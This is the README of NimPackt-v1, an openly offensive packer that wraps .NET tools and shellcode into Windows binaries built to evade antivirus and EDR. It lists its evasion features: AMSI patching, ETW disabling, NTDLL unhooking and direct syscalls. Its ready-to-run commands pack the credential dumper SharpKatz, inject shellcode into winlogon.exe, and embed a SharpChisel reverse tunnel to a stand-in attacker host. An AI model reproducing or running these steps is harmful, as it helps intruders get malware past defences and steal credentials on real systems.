A Nim-based packer for .NET executables and raw shellcode

By Cas van Cooten (@chvancooten)

With special thanks to Marcello Salvati (@byt3bl33der) and Fabian Mosch (@S3cur3Th1sSh1t)

Description

Update: NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt, dubbed 'NimPackt-NG' (currently still private). With this re-write, I decided to open-source the old branch ("NimPackt-v1"). As such, this branch is no longer maintained and comes without any form of warranty or support. PRs are always welcome, of course :)

NimPackt is a Nim-based packer for .NET (C#) executables and shellcode targeting Windows. It automatically wraps the payload in a Nim binary that is compiled to Native C and as such harder to detect and reverse engineer. There are two main execution methods:

• Execute-Assembly re-packs a .NET executable and runs it, optionally applying evasive measures such as API unhooking, AMSI patching, or disabling ETW.
• Shinject takes raw a .bin file with raw, position-independent shellcode and executes it locally or in a remote process, optionally using direct syscalls to trigger the shellcode or patching API hooks to evade EDR.

Currently, NimPackt has the following features.

• Uses static syscalls to patch execute to evade EDR
• Unhooks user-mode APIs for spawned thread by refreshing NTDLL.dll using ShellyCoat
• Patches Event Tracing for Windows (ETW)
• Patches the Anti-Malware Scan Interface (AMSI)
• AES-encrypts payload with random key to prevent static analysis or fingerprinting
• Compiles to exe or dll
• Supports cross-platform compilation (from both Linux and Windows)
• Integrates with CobaltStrike for ezpz payload generation 😎

A great source for C#-based binaries for offensive tooling can be found here. It is highly recommended to compile the C# binaries yourself. Even though embedded binaries are encrypted, you should obfuscate sensitive binaries (such as Mimikatz) to lower the risk of detection.

Installation

If you are having issues compiling the binary with Syscalls, try downgrading your GCC to version 8.1.0 (especially on Windows). ALWAYS test generated payloads!

On Linux, simply install the required packages and use the Nimble package installer to install the required packages and Python libraries.

sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

On Windows, execute the Nim installer from here. Make sure to install mingw and set the path values correctly using the provided finish.exe utility. If you don't have Python3 install that, then install the required packages as follows.

nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

The Docker image chvancooten/nimbuild can be used to compile NimPackt-v1 binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.

To use it, install Docker for your OS and ensure the input shellcode is in the current folder. Then, start the compilation in a container as follows.

docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

CobaltStrike Plugin

To install the CobaltStrike plugin, select Cobalt Strike -> Script Manager from the menu bar, and select Load. Make sure to load the .cna file from it's original location, otherwise it won't be able to find the NimPackt script files!

Usage

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

Examples:

# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

Binaries are stored in the output subfolder of your installation directory. Generated dll files can be executed as follows (entry point can be changed in the Nim template):

rundll32 exampleShinjectNimPackt.dll,IconSrv